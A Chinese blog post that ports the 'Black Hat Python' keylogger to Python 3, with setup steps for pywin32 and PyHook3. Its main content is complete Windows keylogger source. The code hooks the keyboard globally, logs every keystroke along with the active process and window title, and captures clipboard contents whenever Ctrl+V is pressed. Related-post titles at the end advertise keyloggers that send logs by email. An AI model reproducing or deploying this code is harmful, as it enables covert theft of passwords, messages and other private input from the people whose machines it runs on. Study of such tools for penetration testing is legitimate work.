python黑帽子:黑客与渗透测试编程之道。这本书上第八章有一个键盘记录器,但由于书上是python2实现的,以至于在现在无法运行,而且网上几乎没有使用python3实现的,因此自己尝试着实现了一下,但还是有一些问题。

首先是pythoncom和pyhook包的下载
pythoncom:
pip install pywin32
pyhook 下载:
下载链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
下载完保存在一个目录之后,直接pip install xx,(xx是你安装包的位置)。
但是运行会出现以下错误:TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
此时需要安装pyhook3
pip install PyHook3
具体安装:https://www.cnblogs.com/pmh905001/p/12194504.html

下边是代码

from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():# 获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()  # 获得前台窗口句柄pid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid))process_id = "%d" % pid.value  # 将进程ID存入变量中# 申请内存executable = create_string_buffer(1024)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)  # 获得进程名# 读取窗口标题window_title = create_string_buffer(512)length = user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 获得窗口名# 打印print()print("[PID: %s-%s-%s]" % (process_id, executable.value, window_title.value))# 关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)# 定义击键监听事件函数
def key_event(event):global current_windowif event.WindowName != current_window:  # 检查目标是否切换了窗口current_window = event.WindowNameget_current_process()print(" ")if event.Ascii > 32 and event.Ascii < 127:  # 检查是否为常规按键print(chr(event.Ascii), end=" ")else:if event.Key == "V":  # 如果是CTRL+V,则获取剪贴板内容win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print("[PASTE] - %s" % (pasted_value), end=' ')else:print("[%s]" % event.Key, end=' ')# 循环监听下一个敲键事件return True  # 返回到下一个钩子事件def key_logger():hooker = pyHook.HookManager()  # 创建构造函数管理器hooker.KeyDown = key_event  # 注册钩子按键事件的处理函数hooker.HookKeyboard()  # 创建键盘钩子pythoncom.PumpMessages()  # 执行if __name__ == "__main__":key_logger()

但是代码缺陷在于无法记录汉字,原本申请内存的代码为

 #申请内存executable = create_string_buffer("\x00"*1024)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #获得进程名

但是我这样运行会报以下错误:
但是改完之后又不能记录汉字,所以现在的代码只能记录字符。

Python3实现键盘记录器相关推荐

  1. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

  2. 使用Python实现键盘记录器和邮箱自动通知

    文章目录 键盘记录器 参考 (1)键盘记录器-模块实现 (2)发送邮箱-模块实现 (3)模块合并 键盘记录器 参考   <python:搞事情!键盘记录并截屏>, 地址https://ba ...

  3. windows应用程序的开发一个键盘记录器

    一 .创建一个C工程,添加一个CPP文件 名字随便起 #include <Windows.h>extern "C" __declspec(dllimport) BOOL ...

  4. Android设备新型恶意软件,融合银行木马、键盘记录器和移动勒索软件等功能

    2019独角兽企业重金招聘Python工程师标准>>> 网络犯罪分子目前正在开发一种针对Android设备的新型恶意软件,它融合了银行木马.键盘记录器和移动勒索软件的功能. 根据来自 ...

  5. 手把手教你用SetWindowsHookEx做一个键盘记录器

    "无忌,我教你的还记得多少?" "回太师傅,我只记得一大半." "那,现在呢?" "已经剩下一小半了." "那 ...

  6. Python编写键盘记录器

    用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没 ...

  7. hook:实现简单的键盘记录器

    说到hook技术,开始我真是一头雾水! 不久前看到一篇博客,实现 了一个简单的键盘记录器.我从中颇为受益!今天就来和大家分享一下我的一个小例子,并说说我的感悟! 首先就从main()函数开始吧,不过这 ...

  8. python键盘记录器_使用Python设计键盘记录器

    在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...

  9. windows 键盘记录器(win10下测试成功)

    源码很简单,主要就是python黑帽子中键盘记录器的内容. 操作系统环境是win10 64位,环境python2.7, 用到的第三方库pyHook,pythoncom,win32clipboard.这 ...

最新文章

  1. Xcode 升级后,常常遇到的遇到的警告、错误,解决方法(转)
  2. C#和Java中“==”和“equals”区别
  3. 死锁发生的条件和预防
  4. 丈夫创业前后累计11次
  5. 量子计算机 并行,核磁共振量子计算机与并行量子计算.pdf
  6. 兔子吃萝卜java游戏下载_巴迪兔子吃萝卜
  7. 【Python】与或非的符号表示
  8. 测试架构师修炼之道--读书笔记
  9. win10专业版 原版安装教程
  10. 图像检测与分割标注文件XML/JSON/TXT一键批量转换编辑软件
  11. PhotoShop 之图层蒙版
  12. UE4 Async Loading Screen真异步加载插件使用傻瓜式教程
  13. 对开源软件的认识与实践-刘彬
  14. 如何在交通事故中保障自己的安全
  15. iSlide(PPT插件)
  16. [渝粤教育] 西南科技大学 律师实务 在线考试复习资料2021版(1)
  17. 分支和循环语句---循环语句
  18. 改进Python文字小游戏(4)
  19. 房产地籍数据精度表格
  20. 计算机毕业设计Python+django的零食销售商城网站(源码+系统+mysql数据库+Lw文档)

热门文章

  1. 电源设计之buck变换(一)
  2. 赋能制造业 思科助力“独角兽”企业构建信息化基础架构
  3. spring boot单元测试之druid NullPointException
  4. ps怎么做墨水喷溅运动鞋海报效果
  5. 无需真人出镜,新手小白推荐这3个方法,做影视剪辑每天200+
  6. 【Endnote X9】无法在线搜索-提示windows error 12029
  7. 质量管理体系之测试计划
  8. 网卡上网涉及到的基本协议和流程
  9. CSS 实现小球的曲线运动
  10. 基于TI毫米波雷达生命体征例程学习(1)